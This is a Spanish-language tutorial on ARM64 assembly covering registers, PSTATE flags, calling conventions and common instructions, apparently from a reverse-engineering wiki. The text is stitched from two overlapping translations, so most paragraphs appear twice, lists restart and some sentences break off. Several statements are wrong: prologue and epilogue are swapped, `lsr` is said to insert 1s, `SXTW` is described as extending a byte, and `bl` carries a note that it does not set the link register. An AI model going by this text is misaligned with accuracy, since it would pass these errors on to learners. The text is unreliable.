ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits usando los nombres w0 a w30.
1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
* **`x0`** también lleva los datos de retorno de una función.
2. **`x8`** - En el kernel de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS se utiliza el x16!**
3. **`x9`** a **`x15`** - Registros temporales adicionales, a menudo utilizados para variables locales.
4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas de función indirectas y stubs de PLT (Tabla de Enlace de Procedimiento).
2. **`x8`** - En el núcleo de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS, el que se usa es x16!**
3. **`x9`** a **`x15`** - Más registros temporales, a menudo utilizados para variables locales.
4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos).
* **`x16`** se utiliza como el **número de llamada al sistema** para la instrucción **`svc`** en **macOS**.
5. **`x18`** - **Registro de plataforma**. Puede utilizarse como registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo actual en Windows, o para apuntar a la estructura de tarea actualmente **en ejecución en el kernel de Linux**.
6. **`x19`** a **`x28`** - Estos son registros preservados por el llamante. Una función debe preservar los valores de estos registros para su llamante, por lo que se almacenan en la pila y se recuperan antes de volver al llamante.
7. **`x29`** - **Puntero de Marco** para llevar un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** puntero de marco (dirección de **`sp`**) se **almacena en este registro**.
* Este registro también se puede utilizar como un **registro de propósito general**, aunque generalmente se utiliza como referencia para **variables locales**.
8. **`x30`** o **`lr`**- **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro.
* También se puede utilizar como cualquier otro registro.
* Si la función actual va a llamar a una nueva función y por lo tanto sobrescribir `lr`, se almacenará en la pila al principio, esto es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y se recuperará al final, esto es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
9. **`sp`** - **Puntero de Pila**, utilizado para llevar un seguimiento de la parte superior de la pila.
* el valor de **`sp`** siempre debe mantenerse al menos en una **alineación de cuadripalabra** o puede producirse una excepción de alineación.
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede actualizarse a través de generaciones de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección de **`pc`** en **`lr`** (Registro de Enlace).
11. **`xzr`** - **Registro Cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Se puede utilizar para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ninguna parte (en **`xzr`**).
5. **`x18`** - **Registro de plataforma**. Puede ser utilizado como un registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo local en Windows, o para apuntar a la **estructura de tarea actualmente ejecutándose en el núcleo de linux**.
6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador.
7. **`x29`** - **Puntero de marco** para hacer un seguimiento del marco de pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** puntero de marco es (dirección **`sp`**) se **almacena en este registro**.
* Este registro también puede ser utilizado como un **registro de propósito general** aunque generalmente se usa como referencia a **variables locales**.
8. **`x30`** o **`lr`**- **Registro de enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro.
* También podría ser utilizado como cualquier otro registro.
* Si la función actual va a llamar a una nueva función y, por lo tanto, sobrescribir `lr`, lo almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y lo recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
9. **`sp`** - **Puntero de pila**, utilizado para hacer un seguimiento de la parte superior de la pila.
* El valor de **`sp`** siempre debe mantenerse con al menos una **alineación de cuádruple palabra** o puede ocurrir una excepción de alineación.
10. **`pc`** - **Contador de programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de generaciones de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace).
11. **`xzr`** - **Registro cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**).
Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**.
### Registros SIMD y de Punto Flotante
Además, hay otros **32 registros de longitud de 128 bits** que se pueden utilizar en operaciones optimizadas de datos múltiples de instrucción única (SIMD) y para realizar cálculos aritméticos de punto flotante. Estos se llaman registros Vn aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y entonces se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
Además, hay otros **32 registros de 128 bits** que pueden ser utilizados en operaciones optimizadas de datos múltiples de una sola instrucción (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
### Registros del Sistema
**Existen cientos de registros del sistema**, también llamados registros de propósito especial (SPRs), que se utilizan para **monitorear** y **controlar** el comportamiento de los **procesadores**.\
Solo se pueden leer o configurar utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
**Hay cientos de registros del sistema**, también llamados registros de propósito especial (SPRs), que se utilizan para **monitorear** y **controlar** el comportamiento de los **procesadores**.\
Solo se pueden leer o establecer utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar ingeniería inversa. El sufijo `EL0` indica la **excepción mínima** desde la cual se puede acceder al registro (en este caso, EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas regulares).\
A menudo se utilizan para almacenar la **dirección base de la región de almacenamiento local de hilos** en la memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el kernel).
A menudo se utilizan para almacenar la **dirección base de la región de almacenamiento local de hilos** en memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el núcleo).
* `mrs x0, TPIDR_EL0 ; Leer TPIDR_EL0 en x0`
* `msr TPIDR_EL0, X0 ; Escribir x0 en TPIDR_EL0`
### **PSTATE**
**PSTATE** contiene varios componentes de proceso serializados en el registro especial **`SPSR_ELx`** visible para el sistema operativo, siendo X el **nivel de permiso de la excepción** desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).\
**PSTATE** contiene varios componentes del proceso serializados en el registro especial visible para el sistema operativo **`SPSR_ELx`**, siendo X el **nivel de permiso** **del** excepción desencadenada (esto permite recuperar el estado del proceso cuando la excepción termina).\
Estos son los campos accesibles:
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
* Las banderas de condición **`N`**, **`Z`**, **`C`** y **`V`**:
* **`N`** significa que la operación produjo un resultado negativo
* **`Z`** significa que la operación produjo cero
* **`C`** significa que la operación se realizó
* Las **banderas de condición `N`**, **`Z`**, **`C`** y **`V`**:
* **`N`** significa que la operación produjo un resultado negativo.
* **`Z`** significa que la operación produjo cero.
* **`C`** significa que la operación tuvo acarreo.
* **`V`** significa que la operación produjo un desbordamiento con signo:
* La suma de dos números positivos produce un resultado negativo.
* La suma de dos números negativos produce un resultado positivo.
* En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no se puede representar dentro del rango del tamaño de bits dado.
* Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si se produjo un acarreo en caso de que fuera con signo o sin signo.
* En la resta, cuando se resta un número negativo grande de un número positivo más pequeño (o viceversa), y el resultado no puede ser representado dentro del rango del tamaño de bits dado.
* Obviamente, el procesador no sabe si la operación es con signo o no, por lo que verificará C y V en las operaciones e indicará si ocurrió un acarreo en caso de que fuera con signo o sin signo.
{% hint style="warning" %}
No todas las instrucciones actualizan estas banderas. Algunas como **`CMP`** o **`TST`** lo hacen, y otras que tienen un sufijo s como **`ADDS`** también lo hacen.
{% endhint %}
* La bandera de **ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez que se reanude.
* El **Nivel de Excepción** actual (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0
* La bandera de **paso único** (**`SS`**): Utilizada por los depuradores para dar un paso único configurando la bandera SS en 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
* La bandera de estado de excepción ilegal (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
* La **bandera de ancho de registro actual (`nRW`)**: Si la bandera tiene el valor 0, el programa se ejecutará en el estado de ejecución AArch64 una vez reanudado.
* El **Nivel de Excepción** (**`EL`**): Un programa regular que se ejecuta en EL0 tendrá el valor 0.
* La **bandera de paso único** (**`SS`**): Utilizada por depuradores para realizar un paso único configurando la bandera SS a 1 dentro de **`SPSR_ELx`** a través de una excepción. El programa ejecutará un paso y emitirá una excepción de paso único.
* La **bandera de estado de excepción ilegal** (**`IL`**): Se utiliza para marcar cuando un software privilegiado realiza una transferencia de nivel de excepción inválida, esta bandera se establece en 1 y el procesador desencadena una excepción de estado ilegal.
* Las banderas **`DAIF`**: Estas banderas permiten a un programa privilegiado enmascarar selectivamente ciertas excepciones externas.
* Si **`A`** es 1 significa que se activarán **abortos asíncronos**. El **`I`** se configura para responder a las **Solicitudes de Interrupciones** de hardware externo (IRQs). y la F está relacionada con las **Solicitudes de Interrupciones Rápidas** (FIRs).
* Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superior pueden alternar entre el uso de su propio registro de puntero de pila y el del modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
* Si **`A`** es 1 significa que se desencadenarán **abortos asíncronos**. La **`I`** configura la respuesta a las **Solicitudes de Interrupción** (IRQ) de hardware externo. y la F está relacionada con las **Solicitudes de Interrupción Rápida** (FIR).
* Las banderas de selección de puntero de pila (**`SPS`**): Los programas privilegiados que se ejecutan en EL1 y superiores pueden alternar entre usar su propio registro de puntero de pila y el de modelo de usuario (por ejemplo, entre `SP_EL1` y `EL0`). Este cambio se realiza escribiendo en el registro especial **`SPSel`**. Esto no se puede hacer desde EL0.
## **Convención de Llamada (ARM64v8)**
## **Convención de Llamadas (ARM64v8)**
La convención de llamada ARM64 especifica que los **primeros ocho parámetros** de una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El valor de **retorno** se pasa de vuelta en el registro **`x0`**, o también en **`x1`** si es de **128 bits de longitud**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** en las llamadas a funciones.
La convención de llamadas ARM64 especifica que los **primeros ocho parámetros** a una función se pasan en los registros **`x0` a `x7`**. Los **parámetros adicionales** se pasan en la **pila**. El **valor de retorno** se pasa de vuelta en el registro **`x0`**, o en **`x1`** también **si tiene 128 bits de largo**. Los registros **`x19`** a **`x30`** y **`sp`** deben ser **preservados** a través de las llamadas a funciones.
Al leer una función en ensamblador, busca el **prólogo y epílogo de la función**. El **prólogo** generalmente implica **guardar el puntero de marco (`x29`)**, **configurar** un **nuevo puntero de marco**, y **asignar espacio en la pila**. El **epílogo** generalmente implica **restaurar el puntero de marco guardado** y **retornar** de la función.
### Convención de Llamada en Swift
### Convención de Llamadas en Swift
Swift tiene su propia **convención de llamada** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
Swift tiene su propia **convención de llamadas** que se puede encontrar en [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
## **Instrucciones Comunes (ARM64v8)**
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** que se va a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden usar valores inmediatos en lugar de registros de origen.
Las instrucciones ARM64 generalmente tienen el **formato `opcode dst, src1, src2`**, donde **`opcode`** es la **operación** a realizar (como `add`, `sub`, `mov`, etc.), **`dst`** es el **registro de destino** donde se almacenará el resultado, y **`src1`** y **`src2`** son los **registros de origen**. También se pueden usar valores inmediatos en lugar de registros de origen.
* **`mov`**: **Mover** un valor de un **registro** a otro.
* Ejemplo: `mov x0, x1` — Esto mueve el valor de `x1` a `x0`.
* **`ldr`**: **Cargar** un valor de **memoria** en un **registro**.
* Ejemplo: `ldr x0, [x1]` — Esto carga un valor desde la ubicación de memoria apuntada por `x1` en `x0`.
* **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero original, por ejemplo:
* `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8
* `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4
* Ejemplo: `ldr x0, [x1]` — Esto carga un valor de la ubicación de memoria apuntada por `x1` en `x0`.
* **Modo de desplazamiento**: Se indica un desplazamiento que afecta al puntero de origen, por ejemplo:
* `ldr x2, [x1, #8]`, esto cargará en x2 el valor de x1 + 8.
* `ldr x2, [x0, x1, lsl #2]`, esto cargará en x2 un objeto del array x0, desde la posición x1 (índice) \* 4.
* **Modo pre-indexado**: Esto aplicará cálculos al origen, obtendrá el resultado y también almacenará el nuevo origen en el origen.
* `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`
* `str lr, [sp, #-4]!`, Almacena el registro de enlace en sp y actualiza el registro sp
* **Modo post-indexado**: Es similar al anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento.
* `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`
* **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC
* `ldr x2, [x1, #8]!`, esto cargará `x1 + 8` en `x2` y almacenará en x1 el resultado de `x1 + 8`.
* `str lr, [sp, #-4]!`, Almacena el registro de enlace en sp y actualiza el registro sp.
* **Modo post-indexado**: Esto es como el anterior, pero se accede a la dirección de memoria y luego se calcula y almacena el desplazamiento.
* `ldr x0, [x1], #8`, carga `x1` en `x0` y actualiza x1 con `x1 + 8`.
* **Dirección relativa al PC**: En este caso, la dirección a cargar se calcula en relación con el registro PC.
* `ldr x1, =_start`, Esto cargará la dirección donde comienza el símbolo `_start` en x1 en relación con el PC actual.
* **`str`**: **Almacenar** un valor de un **registro** en **memoria**.
* Ejemplo: `str x0, [x1]` — Esto almacena el valor en `x0` en la ubicación de memoria apuntada por `x1`.
* **`ldp`**: **Cargar Par de Registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria consecutivas**. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
* **`ldp`**: **Cargar par de registros**. Esta instrucción **carga dos registros** desde **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
* Ejemplo: `ldp x0, x1, [x2]` — Esto carga `x0` y `x1` desde las ubicaciones de memoria en `x2` y `x2 + 8`, respectivamente.
* **`stp`**: **Almacenar Par de Registros**. Esta instrucción **almacena dos registros** en **ubicaciones de memoria consecutivas**. La dirección de memoria generalmente se forma sumando un desplazamiento al valor en otro registro.
* **`stp`**: **Almacenar par de registros**. Esta instrucción **almacena dos registros** en **ubicaciones de memoria** consecutivas. La dirección de memoria se forma típicamente sumando un desplazamiento al valor en otro registro.
* Ejemplo: `stp x0, x1, [sp]` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp` y `sp + 8`, respectivamente.
* `stp x0, x1, [sp, #16]!` — Esto almacena `x0` y `x1` en las ubicaciones de memoria en `sp+16` y `sp + 24`, respectivamente, y actualiza `sp` con `sp+16`.
* **`add`**: **Sumar** los valores de dos registros y almacenar el resultado en un registro.
* Sintaxis: add(s) Xn1, Xn2, Xn3 | #imm, \[desplazamiento #N | RRX]
* Sintaxis: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
* Xn1 -> Destino
* Xn2 -> Operando 1
* Xn3 | #imm -> Operando 2 (registro o inmediato)
* \[desplazamiento #N | RRX] -> Realiza un desplazamiento o llama a RRX
* \[shift #N | RRX] -> Realizar un desplazamiento o llamar a RRX.
* Ejemplo: `add x0, x1, x2` — Esto suma los valores en `x1` y `x2` y almacena el resultado en `x0`.
* `add x5, x5, #1, lsl #12` — Esto es igual a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000
* **`adds`** Esto realiza una `add` y actualiza las banderas
* **`sub`**: **Resta** los valores de dos registros y almacena el resultado en un registro.
* Verificar la **sintaxis** de **`add`**.
* `add x5, x5, #1, lsl #12` — Esto equivale a 4096 (un 1 desplazado 12 veces) -> 1 0000 0000 0000 0000.
* **`adds`** Esto realiza un `add` y actualiza las banderas.
* **`sub`**: **Restar** los valores de dos registros y almacenar el resultado en un registro.
* Verifique la **sintaxis de `add`**.
* Ejemplo: `sub x0, x1, x2` — Esto resta el valor en `x2` de `x1` y almacena el resultado en `x0`.
* **`subs`** Esto es como sub pero actualizando la bandera
* **`mul`**: **Multiplica** los valores de **dos registros** y almacena el resultado en un registro.
* **`subs`** Esto es como sub pero actualizando la bandera.
* **`mul`**: **Multiplicar** los valores de **dos registros** y almacenar el resultado en un registro.
* Ejemplo: `mul x0, x1, x2` — Esto multiplica los valores en `x1` y `x2` y almacena el resultado en `x0`.
* **`div`**: **Divide** el valor de un registro por otro y almacena el resultado en un registro.
* **`div`**: **Dividir** el valor de un registro por otro y almacenar el resultado en un registro.
* Ejemplo: `div x0, x1, x2` — Esto divide el valor en `x1` por `x2` y almacena el resultado en `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Desplazamiento lógico a la izquierda**: Agrega 0 desde el final moviendo los otros bits hacia adelante (multiplica n veces por 2)
* **Desplazamiento lógico a la derecha**: Agrega 1 al principio moviendo los otros bits hacia atrás (divide n veces por 2 en no firmado)
* **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0 si el bit más significativo es 1, se agregan 1s (divide n veces por 2 en firmado)
* **Rotación a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda
* **Rotación a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Entonces la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo.
* **`bfm`**: **Movimiento de campo de bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en las posiciones **`m..m+n`**. El **`#s`** especifica la posición del **bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
* Movimiento de campo de bits: `BFM Xd, Xn, #r`
* Movimiento de campo de bits firmado: `SBFM Xd, Xn, #r, #s`
* Movimiento de campo de bits no firmado: `UBFM Xd, Xn, #r, #s`
* **Extracción e inserción de campo de bits:** Copia un campo de bits de un registro y lo copia en otro registro.
* **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el 3er bit de X1
* **`BFXIL X1, X2, #3, #4`** Extrae desde el 3er bit de X2 cuatro bits y los copia en X1
* **`SBFIZ X1, X2, #3, #4`** Extiende con signo 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3 anulando los bits a la derecha
* **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende con signo y coloca el resultado en X1
* **`UBFIZ X1, X2, #3, #4`** Extiende con ceros 4 bits de X2 e inserta en X1 comenzando en la posición del bit 3 anulando los bits a la derecha
* **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido con ceros en X1.
* **Extensión de signo a X:** Extiende el signo (o agrega solo 0s en la versión no firmada) de un valor para poder realizar operaciones con él:
* **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits
* **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits
* **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits
* **`UXTB X1, W2`** Agrega 0s (no firmado) a un byte **de W2 a X1** para llenar los 64 bits
* **Desplazamiento lógico a la izquierda**: Agrega 0s desde el final moviendo los otros bits hacia adelante (multiplica por n veces 2).
* **Desplazamiento lógico a la derecha**: Agrega 1s al principio moviendo los otros bits hacia atrás (divide por n veces 2 en sin signo).
* **Desplazamiento aritmético a la derecha**: Como **`lsr`**, pero en lugar de agregar 0s si el bit más significativo es 1, se agregan 1s (divide por n veces 2 en con signo).
* **Rotar a la derecha**: Como **`lsr`** pero lo que se elimina de la derecha se agrega a la izquierda.
* **Rotar a la derecha con extensión**: Como **`ror`**, pero con la bandera de acarreo como el "bit más significativo". Así que la bandera de acarreo se mueve al bit 31 y el bit eliminado a la bandera de acarreo.
* **`bfm`**: **Movimiento de Campo de Bits**, estas operaciones **copian bits `0...n`** de un valor y los colocan en posiciones **`m..m+n`**. El **`#s`** especifica la **posición del bit más a la izquierda** y **`#r`** la **cantidad de rotación a la derecha**.
* Movimiento de campo de bits: `BFM Xd, Xn, #r`.
* Movimiento de campo de bits con signo: `SBFM Xd, Xn, #r, #s`.
* Movimiento de campo de bits sin signo: `UBFM Xd, Xn, #r, #s`.
* **Extracción e Inserción de Campo de Bits:** Copia un campo de bits de un registro y lo copia a otro registro.
* **`BFI X1, X2, #3, #4`** Inserta 4 bits de X2 desde el tercer bit de X1.
* **`BFXIL X1, X2, #3, #4`** Extrae desde el tercer bit de X2 cuatro bits y los copia a X1.
* **`SBFIZ X1, X2, #3, #4`** Extiende el signo de 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha.
* **`SBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2, extiende el signo y coloca el resultado en X1.
* **`UBFIZ X1, X2, #3, #4`** Extiende a cero 4 bits de X2 e inserta en X1 comenzando en la posición de bit 3, poniendo a cero los bits de la derecha.
* **`UBFX X1, X2, #3, #4`** Extrae 4 bits comenzando en el bit 3 de X2 y coloca el resultado extendido a cero en X1.
* **Extender Signo a X:** Extiende el signo (o simplemente agrega 0s en la versión sin signo) de un valor para poder realizar operaciones con él:
* **`SXTB X1, W2`** Extiende el signo de un byte **de W2 a X1** (`W2` es la mitad de `X2`) para llenar los 64 bits.
* **`SXTH X1, W2`** Extiende el signo de un número de 16 bits **de W2 a X1** para llenar los 64 bits.
* **`SXTW X1, W2`** Extiende el signo de un byte **de W2 a X1** para llenar los 64 bits.
* **`UXTB X1, W2`** Agrega 0s (sin signo) a un byte **de W2 a X1** para llenar los 64 bits.
* **`extr`:** Extrae bits de un **par de registros concatenados** especificados.
* Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatenará W1+W2** y obtendrá **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3.
* **`cmp`**: **Compara** dos registros y establece las banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`.
* Admite la **misma sintaxis que `subs`**
* Ejemplo: `EXTR W3, W2, W1, #3` Esto **concatena W1+W2** y obtiene **desde el bit 3 de W2 hasta el bit 3 de W1** y lo almacena en W3.
* **`cmp`**: **Comparar** dos registros y establecer banderas de condición. Es un **alias de `subs`** estableciendo el registro de destino en el registro cero. Útil para saber si `m == n`.
* Soporta la **misma sintaxis que `subs`**.
* Ejemplo: `cmp x0, x1` — Esto compara los valores en `x0` y `x1` y establece las banderas de condición en consecuencia.
* **`cmn`**: **Compara negativo** el operando. En este caso es un **alias de `adds`** y admite la misma sintaxis. Útil para saber si `m == -n`.
* **`cmn`**: **Comparar** el operando negativo. En este caso es un **alias de `adds`** y soporta la misma sintaxis. Útil para saber si `m == -n`.
* **`ccmp`**: Comparación condicional, es una comparación que se realizará solo si una comparación anterior fue verdadera y establecerá específicamente los bits nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, saltar a func
* Esto se debe a que **`ccmp`** solo se ejecutará si el **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
* Esto también se puede usar como `ccmn` (igual pero negativo, como `cmp` vs `cmn`).
* **`tst`**: Comprueba si alguno de los valores de la comparación son ambos 1 (funciona como un ANDS sin almacenar el resultado en ningún lugar). Es útil para verificar un registro con un valor y verificar si alguno de los bits del registro indicado en el valor es 1.
* Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1
* **`teq`**: Operación XOR descartando el resultado
* **`b`**: Salto incondicional
* Ejemplo: `b myFunction`
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas de subrutina que necesitan regresar)
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 y x3 < x4, salta a func.
* Esto se debe a que **`ccmp`** solo se ejecutará si la **anterior `cmp` fue un `NE`**, si no lo fue, los bits `nzcv` se establecerán en 0 (lo que no satisfará la comparación `blt`).
* Esto también se puede usar como `ccmn` (lo mismo pero negativo, como `cmp` vs `cmn`).
* **`tst`**: Verifica si alguno de los valores de la comparación son ambos 1 (funciona como un AND sin almacenar el resultado en ningún lado). Es útil para verificar un registro con un valor y comprobar si alguno de los bits del registro indicado en el valor es 1.
* Ejemplo: `tst X1, #7` Verifica si alguno de los últimos 3 bits de X1 es 1.
* **`teq`**: Operación XOR descartando el resultado.
* **`b`**: Salto incondicional.
* Ejemplo: `b myFunction`.
* Nota que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
* **`bl`**: **Salto** con enlace, utilizado para **llamar** a una **subrutina**. Almacena la **dirección de retorno en `x30`**.
* Ejemplo: `bl myFunction` — Esto llama a la función `myFunction` y almacena la dirección de retorno en `x30`.
* Tenga en cuenta que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas de subrutina que necesitan regresar)
* **`blr`**: **Salto** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el destino está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. (Esto es
* Nota que esto no llenará el registro de enlace con la dirección de retorno (no es adecuado para llamadas a subrutinas que necesitan regresar).
* **`blr`**: **Salto** con enlace a registro, utilizado para **llamar** a una **subrutina** donde el objetivo está **especificado** en un **registro**. Almacena la dirección de retorno en `x30`. (Esto es
* Ejemplo: `blr x1` — Esto llama a la función cuya dirección está contenida en `x1` y almacena la dirección de retorno en `x30`.
* **`ret`**: **Retorno** de **subrutina**, típicamente utilizando la dirección en **`x30`**.
* Ejemplo: `ret` — Esto retorna de la subrutina actual utilizando la dirección de retorno en `x30`.
* **`b.<cond>`**: Saltos condicionales
* **`ret`**: **Retornar** de **subrutina**, típicamente usando la dirección en **`x30`**.
* Ejemplo: `ret` — Esto retorna de la subrutina actual usando la dirección de retorno en `x30`.
* **`b.<cond>`**: Saltos condicionales.
* **`b.eq`**: **Salto si es igual**, basado en la instrucción `cmp` anterior.
* Ejemplo: `b.eq label` — Si la instrucción `cmp` anterior encontró dos valores iguales, esto salta a `label`.
* **`b.ne`**: **Branch if Not Equal**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación previa), y si los valores comparados no son iguales, se desplaza a una etiqueta o dirección.
* **`b.ne`**: **Salto si no es igual**. Esta instrucción verifica las banderas de condición (que fueron establecidas por una instrucción de comparación anterior), y si los valores comparados no eran iguales, salta a una etiqueta o dirección.
* Ejemplo: Después de una instrucción `cmp x0, x1`, `b.ne label` — Si los valores en `x0` y `x1` no eran iguales, esto salta a `label`.
* **`cbz`**: **Comparar y Desplazarse en Caso de Cero**. Esta instrucción compara un registro con cero, y si son iguales, se desplaza a una etiqueta o dirección.
